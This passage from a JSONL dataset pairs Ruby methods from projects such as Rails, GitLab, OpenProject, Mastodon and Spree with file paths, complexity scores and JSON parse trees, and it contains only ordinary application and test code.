end","complexity_score":19.3,"ast_json":"{\"type\":\"def\",\"children\":[\"create\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"args\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"permit\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"deploy_target\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"host\"]},{\"type\":\"str\",\"children\":[\"type\"]},{\"type\":\"str\",\"children\":[\"api_key\"]}]}]}]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"deploy_target\"]}]},\"to_h\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"str\",\"children\":[\"OpenProject\"]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@deploy_target\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DeployTarget\"]},\"create\",{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@deploy_target\"]},\"persisted?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flash\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"success\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"sym\",\"children\":[\"notice_deploy_target_created\"]}]}]},{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"send\",\"children\":[null,\"deploy_targets_path\"]}]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"str\",\"children\":[\"new\"]}]}]}]}]}","id":"58fe640c-809a-4328-b582-866abc9faaf0"}
{"repo_name":"spree","file_path":"./repos/spree/api/app/controllers/spree/api/v2/platform/resource_controller.rb","start_line":59,"raw_source":"def collection\n            @collection ||= scope.ransack(params[:filter]).result\n          end","complexity_score":7.6,"ast_json":"{\"type\":\"def\",\"children\":[\"collection\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@collection\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"scope\"]},\"ransack\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"filter\"]}]}]},\"result\"]}]}]}","id":"4a17e2b4-cf4e-4244-8dce-ba25b858500d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/async_constraints/migration_helpers.rb","start_line":33,"raw_source":"def unprepare_async_foreign_key_validation(table_name, column_name = nil, name: nil)\n          ensure_async_constraint_validation_is_enabled do\n            fk_name = name || concurrent_foreign_key_name(table_name, column_name)\n\n            PostgresAsyncConstraintValidation\n              .foreign_key_type\n              .find_by(name: fk_name, table_name: table_name)\n              .try(&:destroy!)\n          end\n        end","complexity_score":12.3,"ast_json":"{\"type\":\"def\",\"children\":[\"unprepare_async_foreign_key_validation\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"table_name\"]},{\"type\":\"optarg\",\"children\":[\"column_name\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"name\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ensure_async_constraint_validation_is_enabled\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"fk_name\",{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[null,\"concurrent_foreign_key_name\",{\"type\":\"lvar\",\"children\":[\"table_name\"]},{\"type\":\"lvar\",\"children\":[\"column_name\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PostgresAsyncConstraintValidation\"]},\"foreign_key_type\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"fk_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"table_name\"]},{\"type\":\"lvar\",\"children\":[\"table_name\"]}]}]}]},\"try\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"destroy!\"]}]}]}]}]}]}","id":"f48be0da-f8b7-463c-aa3a-5878e4eb6eea"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/components/interface_color_selector.rb","start_line":18,"raw_source":"def not_available?\n        find(container_selector).has_no_css?(SELECTOR)\n      end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"not_available?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find\",{\"type\":\"send\",\"children\":[null,\"container_selector\"]}]},\"has_no_css?\",{\"type\":\"const\",\"children\":[null,\"SELECTOR\"]}]}]}","id":"bc067901-d5a0-404b-812b-5544a4b18143"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/shared_examples/services/resource_events/change_milestone_service_shared_examples.rb","start_line":38,"raw_source":"def expect_event_record(timebox_event_class, event, expected_attrs)\n    expect(event.action).to eq(expected_attrs[:action])\n    expect(event.user).to eq(user)\n    expect(event.issue).to eq(resource) if resource.is_a?(Issue)\n    expect(event.issue).to be_nil unless resource.is_a?(Issue)\n    expect(event.merge_request).to eq(resource) if resource.is_a?(MergeRequest)\n    expect(event.merge_request).to be_nil unless resource.is_a?(MergeRequest)\n    expect(event.created_at).to eq(created_at_time)\n    expect_timebox(timebox_event_class, event, expected_attrs)\n  end","complexity_score":56.2,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_event_record\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"timebox_event_class\"]},{\"type\":\"arg\",\"children\":[\"event\"]},{\"type\":\"arg\",\"children\":[\"expected_attrs\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"action\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"eq\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected_attrs\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"action\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"user\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"eq\",{\"type\":\"send\",\"children\":[null,\"user\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"resource\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Issue\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"issue\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"eq\",{\"type\":\"send\",\"children\":[null,\"resource\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"resource\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Issue\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"issue\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"be_nil\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"resource\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"MergeRequest\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"merge_request\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"eq\",{\"type\":\"send\",\"children\":[null,\"resource\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"resource\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"MergeRequest\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"merge_request\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"be_nil\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"created_at\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"eq\",{\"type\":\"send\",\"children\":[null,\"created_at_time\"]}]}]},{\"type\":\"send\",\"children\":[null,\"expect_timebox\",{\"type\":\"lvar\",\"children\":[\"timebox_event_class\"]},{\"type\":\"lvar\",\"children\":[\"event\"]},{\"type\":\"lvar\",\"children\":[\"expected_attrs\"]}]}]}]}","id":"911ec389-1e28-4b8c-8da4-17298523f4c7"}
{"repo_name":"rspec-core","file_path":"./repos/rspec-core/lib/rspec/core/formatters.rb","start_line":144,"raw_source":"def add(formatter_to_use, *paths)\n      # If a formatter instance was passed, we can register it directly,\n      # with no need for any of the further processing that happens below.\n      if Loader.formatters.key?(formatter_to_use.class)\n        register formatter_to_use, notifications_for(formatter_to_use.class)\n        return\n      end\n\n      formatter_class = find_formatter(formatter_to_use)\n\n      args = paths.map { |p| p.respond_to?(:puts) ? p : open_stream(p) }\n\n      if !Loader.formatters[formatter_class].nil?\n        formatter = formatter_class.new(*args)\n        register formatter, notifications_for(formatter_class)\n      elsif defined?(RSpec::LegacyFormatters)\n        formatter = RSpec::LegacyFormatters.load_formatter formatter_class, *args\n        register formatter, formatter.notifications\n      else\n        call_site = \"Formatter added at: #{::RSpec::CallerFilter.first_non_rspec_line}\"\n\n        RSpec.warn_deprecation <<-WARNING.gsub(/\\s*\\|/, ' ')\n          |The #{formatter_class} formatter uses the deprecated formatter\n          |interface not supported directly by RSpec 3.\n          |\n          |To continue to use this formatter you must install the\n          |`rspec-legacy_formatters` gem, which provides support\n          |for legacy formatters or upgrade the formatter to a\n          |compatible version.\n          |\n          |#{call_site}\n        WARNING\n      end\n    end","complexity_score":40.1,"ast_json":"{\"type\":\"def\",\"children\":[\"add\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"formatter_to_use\"]},{\"type\":\"restarg\",\"children\":[\"paths\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Loader\"]},\"formatters\"]},\"key?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"formatter_to_use\"]},\"class\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"register\",{\"type\":\"lvar\",\"children\":[\"formatter_to_use\"]},{\"type\":\"send\",\"children\":[null,\"notifications_for\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"formatter_to_use\"]},\"class\"]}]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"formatter_class\",{\"type\":\"send\",\"children\":[null,\"find_formatter\",{\"type\":\"lvar\",\"children\":[\"formatter_to_use\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"args\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"paths\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"p\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"puts\"]}]},{\"type\":\"lvar\",\"children\":[\"p\"]},{\"type\":\"send\",\"children\":[null,\"open_stream\",{\"type\":\"lvar\",\"children\":[\"p\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Loader\"]},\"formatters\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"formatter_class\"]}]},\"nil?\"]},\"!\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"formatter\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"formatter_class\"]},\"new\",{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register\",{\"type\":\"lvar\",\"children\":[\"formatter\"]},{\"type\":\"send\",\"children\":[null,\"notifications_for\",{\"type\":\"lvar\",\"children\":[\"formatter_class\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"defined?\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RSpec\"]},\"LegacyFormatters\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"formatter\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RSpec\"]},\"LegacyFormatters\"]},\"load_formatter\",{\"type\":\"lvar\",\"children\":[\"formatter_class\"]},{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register\",{\"type\":\"lvar\",\"children\":[\"formatter\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"formatter\"]},\"notifications\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"call_site\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Formatter added at: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"RSpec\"]},\"CallerFilter\"]},\"first_non_rspec_line\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RSpec\"]},\"warn_deprecation\",{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"          |The \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"formatter_class\"]}]},{\"type\":\"str\",\"children\":[\" formatter uses the deprecated formatter\\n\"]},{\"type\":\"str\",\"children\":[\"          |interface not supported directly by RSpec 3.\\n\"]},{\"type\":\"str\",\"children\":[\"          |\\n\"]},{\"type\":\"str\",\"children\":[\"          |To continue to use this formatter you must install the\\n\"]},{\"type\":\"str\",\"children\":[\"          |`rspec-legacy_formatters` gem, which provides support\\n\"]},{\"type\":\"str\",\"children\":[\"          |for legacy formatters or upgrade the formatter to a\\n\"]},{\"type\":\"str\",\"children\":[\"          |compatible version.\\n\"]},{\"type\":\"str\",\"children\":[\"          |\\n\"]},{\"type\":\"str\",\"children\":[\"          |\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"call_site\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]}]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\s*\\\\|\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\" \"]}]}]}]}]}]}]}]}","id":"c1d0cd3b-5d3d-4fce-bf5d-bab4d9b84b57"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/comment.rb","start_line":53,"raw_source":"def send_news_comment_added_mail\n    OpenProject::Notifications.send(OpenProject::Events::NEWS_COMMENT_CREATED,\n                                    comment: self,\n                                    send_notification: true)\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"send_news_comment_added_mail\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenProject\"]},\"Notifications\"]},\"send\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenProject\"]},\"Events\"]},\"NEWS_COMMENT_CREATED\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"comment\"]},{\"type\":\"self\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"send_notification\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}","id":"ece7a643-912b-4255-bad0-0af5df014027"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/config/yaml_parser/section_builder.rb","start_line":82,"raw_source":"def to_element\n          if @root\n            return @bodies.map(&:to_element)\n          end\n\n          not_section, section = @bodies.partition { |e| e.is_a?(Row) }\n          r = {}\n          not_section.each do |e|\n            v = e.value\n            r[e.key] = v.respond_to?(:to_element) ? v.to_element : v\n          end\n\n          if @root\n            section.map(&:to_element)\n          else\n            Fluent::Config::Element.new('', '', r, section.map(&:to_element))\n          end\n        end","complexity_score":28.3,"ast_json":"{\"type\":\"def\",\"children\":[\"to_element\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@root\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@bodies\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_element\"]}]}]}]},null]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"not_section\"]},{\"type\":\"lvasgn\",\"children\":[\"section\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@bodies\"]},\"partition\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"e\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Row\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"r\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"not_section\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"e\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"v\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"[]=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"key\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"to_element\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]},\"to_element\"]},{\"type\":\"lvar\",\"children\":[\"v\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@root\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"section\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_element\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fluent\"]},\"Config\"]},\"Element\"]},\"new\",{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"lvar\",\"children\":[\"r\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"section\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_element\"]}]}]}]}]}]}]}","id":"d54bf1ef-8750-4b68-90eb-0fcf57403556"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/redirect_test.rb","start_line":1060,"raw_source":"def test_module_redirect_using_options\n      get :module_redirect\n      assert_response :redirect\n      assert_redirected_to controller: \"/redirect\", action: \"hello_world\"\n    end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_module_redirect_using_options\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"sym\",\"children\":[\"module_redirect\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_response\",{\"type\":\"sym\",\"children\":[\"redirect\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_redirected_to\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"controller\"]},{\"type\":\"str\",\"children\":[\"/redirect\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"str\",\"children\":[\"hello_world\"]}]}]}]}]}]}","id":"47832134-1941-42b5-a6aa-40d7093d1015"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/rubocop/cop/migration/update_column_in_batches.rb","start_line":43,"raw_source":"def rails_root\n          Pathname.new(File.expand_path('../../..', __dir__))\n        end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"rails_root\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Pathname\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"expand_path\",{\"type\":\"str\",\"children\":[\"../../..\"]},{\"type\":\"send\",\"children\":[null,\"__dir__\"]}]}]}]}","id":"ac588809-e646-4b2f-b870-46c3dadcaead"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/work_package/pdf_export/report/sums_table.rb","start_line":112,"raw_source":"def build_sums_total_row\n    build_sums_row(get_total_sums || {}, I18n.t(\"js.label_sum\"), styles.wp_table_sums_cell)\n  end","complexity_score":7.3,"ast_json":"{\"type\":\"def\",\"children\":[\"build_sums_total_row\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"build_sums_row\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get_total_sums\"]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"js.label_sum\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"styles\"]},\"wp_table_sums_cell\"]}]}]}","id":"0dcf6e46-0397-42a2-bfda-932750adadde"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/models/concerns/status/search_concern.rb","start_line":35,"raw_source":"def searchable_properties\n    [].tap do |properties|\n      properties << 'image' if ordered_media_attachments.any?(&:image?)\n      properties << 'video' if ordered_media_attachments.any?(&:video?)\n      properties << 'audio' if ordered_media_attachments.any?(&:audio?)\n      properties << 'media' if with_media?\n      properties << 'poll' if with_poll?\n      properties << 'link' if with_preview_card?\n      properties << 'embed' if preview_card&.video?\n      properties << 'sensitive' if sensitive?\n      properties << 'reply' if reply?\n      properties << 'quote' if with_quote?\n    end\n  end","complexity_score":48.9,"ast_json":"{\"type\":\"def\",\"children\":[\"searchable_properties\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"properties\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ordered_media_attachments\"]},\"any?\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"image?\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"properties\"]},\"<<\",{\"type\":\"str\",\"children\":[\"image\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ordered_media_attachments\"]},\"any?\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"video?\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"properties\"]},\"<<\",{\"type\":\"str\",\"children\":[\"video\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ordered_media_attachments\"]},\"any?\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"audio?\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"properties\"]},\"<<\",{\"type\":\"str\",\"children\":[\"audio\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_media?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"properties\"]},\"<<\",{\"type\":\"str\",\"children\":[\"media\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_poll?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"properties\"]},\"<<\",{\"type\":\"str\",\"children\":[\"poll\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_preview_card?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"properties\"]},\"<<\",{\"type\":\"str\",\"children\":[\"link\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"preview_card\"]},\"video?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"properties\"]},\"<<\",{\"type\":\"str\",\"children\":[\"embed\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sensitive?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"properties\"]},\"<<\",{\"type\":\"str\",\"children\":[\"sensitive\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"reply?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"properties\"]},\"<<\",{\"type\":\"str\",\"children\":[\"reply\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_quote?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"properties\"]},\"<<\",{\"type\":\"str\",\"children\":[\"quote\"]}]},null]}]}]}]}","id":"c18faee1-f701-498b-9f41-db506c57b5d8"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/migration_test.rb","start_line":1410,"raw_source":"def test_changing_columns\n      with_bulk_change_table do |t|\n        t.string :name\n        t.date :birthdate\n      end\n\n      assert_not column(:name).default\n      assert_equal :date, column(:birthdate).type\n\n      classname = ActiveRecord::Base.lease_connection.class.name[/[^:]*$/]\n      expected_query_count = {\n        \"Mysql2Adapter\"     => 3, # one query for columns, one query for primary key, one query to do the bulk change\n        \"TrilogyAdapter\"    => 3, # one query for columns, one query for primary key, one query to do the bulk change\n        \"PostgreSQLAdapter\" => 3, # one query for columns, one for bulk change, one for comment\n      }.fetch(classname) {\n        raise \"need an expected query count for #{classname}\"\n      }\n\n      assert_queries_count(expected_query_count, include_schema: true) do\n        with_bulk_change_table do |t|\n          t.change :name, :string, default: \"NONAME\"\n          t.change :birthdate, :datetime, comment: \"This is a comment\"\n        end\n      end\n\n      assert_equal \"NONAME\", column(:name).default\n      assert_equal :datetime, column(:birthdate).type\n      assert_equal \"This is a comment\", column(:birthdate).comment\n    